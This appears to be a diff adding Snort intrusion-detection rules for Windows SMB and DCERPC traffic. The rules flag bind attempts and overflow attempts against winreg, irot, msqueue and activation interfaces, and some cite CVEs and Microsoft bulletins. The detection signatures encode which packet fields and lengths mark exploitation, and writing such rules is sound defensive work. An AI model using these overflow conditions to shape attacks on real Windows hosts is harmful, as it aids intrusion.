+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB winreg unicode andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; flowbits:noalert; classtype:protocol-command-decode; sid:3208; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS irot unicode little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"`|9E E7 B9|R=|CE 11 AA A1 00 00|i|01 29|?"; within:16; distance:29; flowbits:set,smb.tree.bind.irot; flowbits:noalert; classtype:protocol-command-decode; sid:3255; rev:2;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 137 (msg:"NETBIOS name query overflow attempt UDP"; byte_test:1,&,64,2; content:" "; offset:12; isdataat:56,relative; reference:bugtraq,9624; reference:cve,2003-0825; classtype:attempted-admin; sid:3196; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CoGetInstanceFromFile little endian andx attempt"; flow:established,to_server; flowbits:isset,dce.isystemactivator.bind; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|04 00|"; within:2; distance:19; content:"|5C 5C|"; byte_test:4,>,256,6,little; classtype:protocol-command-decode; sid:3430; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IActivation andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; flowbits:set,dce.iactivation.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3389; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS msqueue unicode andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B0 01|R|97 CA|Y|D0 11 A8 D5 00 A0 C9 0D 80|Q"; within:16; distance:29; flowbits:set,smb.tree.bind.msqueue; flowbits:noalert; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:3174; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC IActivation bind attempt"; flow:established,to_server; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind; classtype:protocol-command-decode; sid:3275; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IrotIsRunning little endian attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.irot; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|02 00|"; within:2; distance:19; byte_jump:4,8,relative,little,align; byte_test:4,>,1024,0,little; reference:bugtraq,6005; reference:cve,2002-1561; reference:url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx; classtype:protocol-command-decode; sid:3265; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB RemoteActivation unicode andx attempt"; flow:established,to_server; flowbits:isset,dce.iactivation.bind; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; content:"|5C 00 5C 00|"; byte_test:4,>,256,8; classtype:protocol-command-decode; sid:3415; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IrotIsRunning andx attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.irot; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 02|"; within:2; distance:19; byte_jump:4,8,relative,little,align; byte_test:4,>,1024,0,little; reference:bugtraq,6005; reference:cve,2002-1561; reference:url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx; classtype:protocol-command-decode; sid:3268; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC msqueue bind attempt"; flow:to_server,established; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B0 01|R|97 CA|Y|D0 11 A8 D5 00 A0 C9 0D 80|Q"; within:16; distance:29; flowbits:set,smb.tree.bind.msqueue; flowbits:noalert; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:3156; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS CoGetInstanceFromFile unicode andx attempt"; flow:established,to_server; flowbits:isset,dce.isystemactivator.bind; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 04|"; within:2; distance:19; content:"|5C 00 5C 00|"; byte_test:4,>,256,8; classtype:protocol-command-decode; sid:3439; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB msqueue unicode bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B0 01|R|97 CA|Y|D0 11 A8 D5 00 A0 C9 0D 80|Q"; within:16; distance:29; flowbits:set,smb.tree.bind.msqueue; flowbits:noalert; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:3162; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS CoGetInstanceFromFile unicode overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.msqueue; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 01|"; within:2; distance:19; byte_test:4,>,256,20,relative; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3186; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS OpenKey andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 0F|"; within:2; distance:19; byte_test:2,>,1024,20,relative; reference:bugtraq,1331; reference:cve,2000-0377; classtype:attempted-admin; sid:3230; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IActivation unicode andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; flowbits:set,dce.iactivation.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3383; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS irot unicode bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"`|9E E7 B9|R=|CE 11 AA A1 00 00|i|01 29|?"; within:16; distance:29; flowbits:set,smb.tree.bind.irot; flowbits:noalert; classtype:protocol-command-decode; sid:3250; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS OpenKey little endian andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|0F 00|"; within:2; distance:19; byte_test:2,>,1024,20,relative,little; reference:bugtraq,1331; reference:cve,2000-0377; classtype:attempted-admin; sid:3231; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS winreg unicode andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; flowbits:noalert; classtype:protocol-command-decode; sid:3216; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IActivation little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; flowbits:set,dce.iactivation.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3378; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS msqueue unicode little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B0 01|R|97 CA|Y|D0 11 A8 D5 00 A0 C9 0D 80|Q"; within:16; distance:29; flowbits:set,smb.tree.bind.msqueue; flowbits:noalert; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:3171; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CoGetInstanceFromFile unicode attempt"; flow:established,to_server; flowbits:isset,dce.isystemactivator.bind; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 04|"; within:2; distance:19; content:"|5C 00 5C 00|"; byte_test:4,>,256,8; classtype:protocol-command-decode; sid:3427; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS ISystemActivator little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3402; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IrotIsRunning attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.irot; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 02|"; within:2; distance:19; byte_jump:4,8,relative,little,align; byte_test:4,>,1024,0,little; reference:bugtraq,6005; reference:cve,2002-1561; reference:url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx; classtype:protocol-command-decode; sid:3264; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS RemoteActivation unicode andx attempt"; flow:established,to_server; flowbits:isset,dce.iactivation.bind; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; content:"|5C 00 5C 00|"; byte_test:4,>,256,8; classtype:protocol-command-decode; sid:3423; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB OpenKey andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 0F|"; within:2; distance:19; byte_test:2,>,1024,20,relative; reference:bugtraq,1331; reference:cve,2000-0377; classtype:attempted-admin; sid:3222; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB winreg unicode bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; flowbits:noalert; classtype:protocol-command-decode; sid:3204; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS winreg bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; flowbits:noalert; classtype:protocol-command-decode; sid:3210; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB irot bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"`|9E E7 B9|R=|CE 11 AA A1 00 00|i|01 29|?"; within:16; distance:29; flowbits:set,smb.tree.bind.irot; flowbits:noalert; classtype:protocol-command-decode; sid:3240; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB ISystemActivator unicode little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3396; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB irot unicode little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"`|9E E7 B9|R=|CE 11 AA A1 00 00|i|01 29|?"; within:16; distance:29; flowbits:set,smb.tree.bind.irot; flowbits:noalert; classtype:protocol-command-decode; sid:3247; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IrotIsRunning unicode little endian attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.irot; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|02 00|"; within:2; distance:19; byte_jump:4,8,relative,little,align; byte_test:4,>,1024,0,little; reference:bugtraq,6005; reference:cve,2002-1561; reference:url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx; classtype:protocol-command-decode; sid:3259; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB RemoteActivation unicode attempt"; flow:established,to_server; flowbits:isset,dce.iactivation.bind; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; content:"|5C 00 5C 00|"; byte_test:4,>,256,8; classtype:protocol-command-decode; sid:3411; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB OpenKey little endian andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|0F 00|"; within:2; distance:19; byte_test:2,>,1024,20,relative,little; reference:bugtraq,1331; reference:cve,2000-0377; classtype:attempted-admin; sid:3223; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS ISystemActivator andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3405; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB irot andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"`|9E E7 B9|R=|CE 11 AA A1 00 00|i|01 29|?"; within:16; distance:29; flowbits:set,smb.tree.bind.irot; flowbits:noalert; classtype:protocol-command-decode; sid:3244; rev:2;)
